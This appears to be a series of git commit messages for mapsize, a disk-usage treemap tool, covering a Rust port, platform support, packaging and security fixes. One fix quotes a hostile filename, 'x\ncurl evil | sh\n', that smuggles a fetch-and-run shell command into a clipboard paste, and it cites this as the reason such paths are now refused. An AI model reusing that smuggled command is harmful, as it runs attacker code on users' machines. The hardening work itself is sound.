- platform::mode documents the on-disk mode-bit layout (bits 31..19 =
d a l T L D p S u g c t ?, low 9 bits = permissions).
- The snapshot module documents the LEB128 / zig-zag varints and the RFC
3339 JSON timestamps, and states that snapshots written by mapsize 1.x
load unchanged.
- Renames: GoTime -> JsonTime, go_duration -> fmt_duration, fixture
testdata/go.msz -> testdata/v1.2.0.msz (a snapshot written by mapsize
1.2.0), loads_go_snapshot -> loads_1_2_snapshot.
- --log / --log-level help says they are accepted and ignored.
Split platform into a portable core (mod.rs) plus unix.rs and windows.rs.
- Linux: statx through syscall(2) so static musl links (fstatat fallback
on ENOSYS); virtual-fs detection compares f_type as u32.
- macOS: Finder trash (~/.Trash or /Volumes/X/.Trashes/<uid>, "name N"
collisions, EXDEV falls through to the next location) and `open -R`
reveal; never headless.
- FreeBSD/NetBSD: fstatat with birth time; trash and reveal unsupported,
permanent delete still available on headless systems.
- Windows: std read_dir and metadata, allocated size unknown, no inode
identity, Recycle Bin via SHFileOperationW (FOF_ALLOWUNDO, all
architectures), Explorer /select reveal, no permanent delete, '\\'
separator with Windows glob semantics, abs paths via GetFullPathNameW,
config in %AppData%.
- Local time via a portable LocalTime helper (localtime_r tm_gmtoff on
Unix, SystemTimeToTzSpecificLocalTime on Windows) replacing libc tm and
mktime in the TUI, snapshot and filter code.
- errno, stat field names and mode_t width handled per OS; Unix-only
tests gated; clippy clean on all targets.
Adds windows-sys =0.61.2 (Windows only; Win32_Foundation,
Win32_System_Time, Win32_UI_Shell), already in the lockfile via crossterm.
Port of internal/tui. Bubble Tea's message loop is replaced by a
crossterm input thread, timers and background commands feeding one
loop; the frame cache, canvas, colour quantisation, LOD treemap,
selection persistence and modal architecture are kept. Frames are
diffed against the previous one per line and per style run.
Exposes tui::bench::BenchModel and big_tree for benchmarks.
On a headless Linux or BSD system (no DISPLAY or WAYLAND_DISPLAY) nothing
empties the freedesktop trash, so trashing never freed space. There, d now
deletes permanently after an explicit confirmation, checking owner and type
against the scan and removing through an os.Root on the parent so a swapped
symlink cannot redirect it. o shows the folder in the map instead of
launching a file manager. Desktop sessions, macOS and Windows are unchanged.
The map stopped nesting after a fixed 3 levels, so at / a chain like
mnt/raid/media used the whole budget on full-size wrappers and showed
empty boxes with only titles. Single-child directory chains now collapse
into one label, nesting depth is bounded by block size instead of a fixed
cap, and nested blocks show size and percentage of their parent.
packaging/repo.sh builds signed .deb, .rpm and Arch packages from a
release tag with nfpm and publishes them to repo.dixon.cx, rebuilding the
indexes over every project's packages there. It is vault's script with a
mapsize project block. Release step 6 runs it; the README points users at
dixon.cx/repo.
fix: cap snapshot node count relative to file size
The 64x decompressed-body limit still let an 804 KB crafted snapshot
(repeating blocks of records) expand to 4.2 M nodes and ~500 MB of
heap, ~600x amplification; larger files exhaust memory. LoadFile now
allows at most one node per byte of file (1 Mi floor); real snapshots
use ~15 bytes per node. Limit errors on the node count are no longer
misreported as "no root node".
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
fix: sanitise snapshot follow mode; least-privilege CI token
The scan-info view printed the snapshot's "follow" metadata string
unsanitised (the canvas filter was the only defence). The CI workflow
ran with the repository's default GITHUB_TOKEN permissions; it only
needs to read the code.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
fix: duplicate search no longer hangs on files swapped for FIFOs
Candidates were reopened by path with os.Open after the scan. A file
replaced by a FIFO (or a symlink to one) blocked open(2) forever, and
context cancellation could not interrupt it, wedging the duplicate view
and --duplicates. Content is now opened with O_NOFOLLOW|O_NONBLOCK on
Unix; the existing regular-file check then skips it.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
fix: refuse to copy paths containing control or bidi characters
The copy-path action put raw filenames on the clipboard via OSC 52. A
hostile name such as "x\ncurl evil | sh\n" (from a shared directory or
a crafted snapshot) executes commands when pasted into a shell without
bracketed paste. Paths that Sanitize would alter are no longer copied.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
fix: pin parent directory and verify owner/type before trashing
Trash renamed the item by path after the confirmation dialog, so a
parent directory swapped for a symlink since the scan (e.g. by another
user, while an administrator cleans their home) redirected the move to
an unrelated file. The parent is now opened once and the item is checked
(owner and file type as scanned) and renamed relative to that fd.
macOS volume trash directories now get the same ownership/symlink checks
as freedesktop.org ones on Linux.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Order license after sha256, point homepage at the repo, drop the -s -w
that std_go_args already adds, and strip the template header from the
generated formula.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Declare the snapshot format (v1) stable, bump the version, ship the man
page in release archives and deb/rpm/apk/Arch packages, add a Homebrew
formula template with make brew-formula, and update the changelog,
roadmap, README and development notes.
- snapshot: depth limit (stack overflow in exporters), decompressed-size
limit (gzip bombs), per-node size cap and saturating aggregation
- export: sanitise exclusion patterns from snapshot metadata
- tui: drop duplicate/trash/filter results that belong to a replaced
tree; cancel duplicate search on rescan
- trash: refuse symlinked or foreign shared-filesystem trash dirs; never
overwrite an existing trashed item
- scan: no symlink following without inode identity; correct unscanned
count and keep real read errors after cancellation
Dark shades map to black and greys to the grey/white entries while
saturated category colours keep their hue, instead of the stock
conversion's bright yellow/cyan shadows.
Decompression and checksumming overlap with parsing via a pipe, and a
concrete-typed varint reader removes per-byte interface calls
(0.39s -> 0.29s for 458K nodes).
--compare opens the TUI with growth/shrink colouring unless a report is
requested. treegen builds deterministic synthetic trees (Unicode,
hostile names, sparse files). MAPSIZE_DEBUG_PANIC verifies terminal
restoration on UI and scanner panics.
Edge-snapped integer layout that partitions its bounds exactly,
level-of-detail selection, and a deterministic geometric neighbour
search for arrow-key navigation. Fuzz-tested.
Lexer, recursive-descent parser (AND/OR/NOT, parentheses, implicit AND,
IN lists, size/age/date units) and an evaluator that computes filtered
subtree sizes in two linear passes without double counting.
Single-writer controller with a select loop that offers jobs and accepts
results simultaneously, so bounded channels cannot deadlock. statx/fstatat
relative to the directory fd on Linux/macOS, portable fallback elsewhere.
Hard links counted once, symlink loops detected, virtual filesystems
skipped, errors classified and surfaced.
Andy Dixon
